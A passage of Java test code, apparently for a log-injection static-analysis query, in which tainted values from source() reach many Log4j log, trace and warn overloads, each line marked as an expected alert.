logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Supplier) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Supplier) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Throwable) null); // $ Alert + logger.log((Level) null, (Marker) null, (Supplier) source()); // $ Alert + logger.log((Level) null, (Marker) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.log((Level) null, (MessageSupplier) source()); // $ Alert + logger.log((Level) null, (MessageSupplier) source(), (Throwable) null); // $ Alert + logger.log((Level) null, (Message) source()); // $ Alert + logger.log((Level) null, (Message) source(), (Throwable) null); // $ Alert + logger.log((Level) null, source()); // $ Alert + logger.log((Level) null, source(), (Throwable) null); // $ Alert + logger.log((Level) null, (String) source()); // $ Alert + logger.log((Level) null, (String) source(), (Object[]) null); // $ Alert + logger.log((Level) null, (String) null, new Object[] {source()}); // $ Alert + logger.log((Level) null, (String) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (String) source(), (Supplier) null); // $ Alert + logger.log((Level) null, (String) null, (Supplier) source()); // $ Alert + logger.log((Level) null, (String) source(), (Throwable) null); // $ Alert + logger.log((Level) null, (Supplier) source()); // $ Alert + logger.log((Level) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.trace((CharSequence) source()); // $ Alert + logger.trace((CharSequence) source(), (Throwable) null); // $ Alert + logger.trace((Marker) null, (CharSequence) source()); // $ Alert + logger.trace((Marker) null, (CharSequence) source(), null); // $ Alert + logger.trace((Marker) null, (Message) source()); // $ Alert + logger.trace((Marker) null, (MessageSupplier) source()); // $ Alert + logger.trace((Marker) null, (MessageSupplier) source(), null); // $ Alert + logger.trace((Marker) null, source()); // $ Alert + logger.trace((Marker) null, (String) source()); // $ Alert + logger.trace((Marker) null, (String) source(), new Object[] {}); // $ Alert + logger.trace((Marker) null, (String) null, new Object[] {source()}); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((Marker) null, (String) source(), (Supplier) null); // $ Alert + logger.trace((Marker) null, (String) null, (Supplier) source()); // $ Alert + logger.trace((Marker) null, (String) source(), (Throwable) null); // $ Alert + logger.trace((Marker) null, (Supplier) source()); // $ Alert + logger.trace((Marker) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.trace((MessageSupplier) source()); // $ Alert + logger.trace((MessageSupplier) source(), (Throwable) null); // $ Alert + logger.trace((Message) source()); // $ Alert + logger.trace((Message) source(), (Throwable) null); // $ Alert + logger.trace(source()); // $ Alert + logger.trace(source(), (Throwable) null); // $ Alert + logger.trace((String) source()); // $ Alert + logger.trace((String) source(), (Object[]) null); // $ Alert + logger.trace((String) null, new Object[] {source()}); // $ Alert + logger.trace((String) null, (Object) source()); // $ Alert + logger.trace((String) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.trace((String) source(), (Supplier) null); // $ Alert + logger.trace((String) null, (Supplier) source()); // $ Alert + logger.trace((String) source(), (Throwable) null); // $ Alert + logger.trace((Supplier) source()); // $ Alert + logger.trace((Supplier) source(), (Throwable) null); // $ Alert + logger.warn((CharSequence) source()); // $ Alert + logger.warn((CharSequence) source(), (Throwable) null); // $ Alert + logger.warn((Marker) null, (CharSequence) source()); // $ Alert + logger.warn((Marker) null, (CharSequence) source(), null); // $ Alert + logger.warn((Marker) null, (Message) source()); // $ Alert + logger.warn((Marker) null, (MessageSupplier) source()); // $ Alert + logger.warn((Marker) null, (MessageSupplier) source(), null); // $ Alert + logger.warn((Marker) null, source()); // $ Alert + logger.warn((Marker) null, (String) source()); // $ Alert + logger.warn((Marker) null, (String) source(), new Object[] {}); // $ Alert + logger.warn((Marker) null, (String) null, new Object[] {source()}); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((Marker) null, (String) source(), (Supplier) null); // $ Alert + logger.warn((Marker) null, (String) null, (Supplier) source()); // $ Alert + logger.warn((Marker) null, (String) source(), (Throwable) null); // $ Alert + logger.warn((Marker) null, (Supplier) source()); // $ Alert + logger.warn((Marker) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.warn((MessageSupplier) source()); 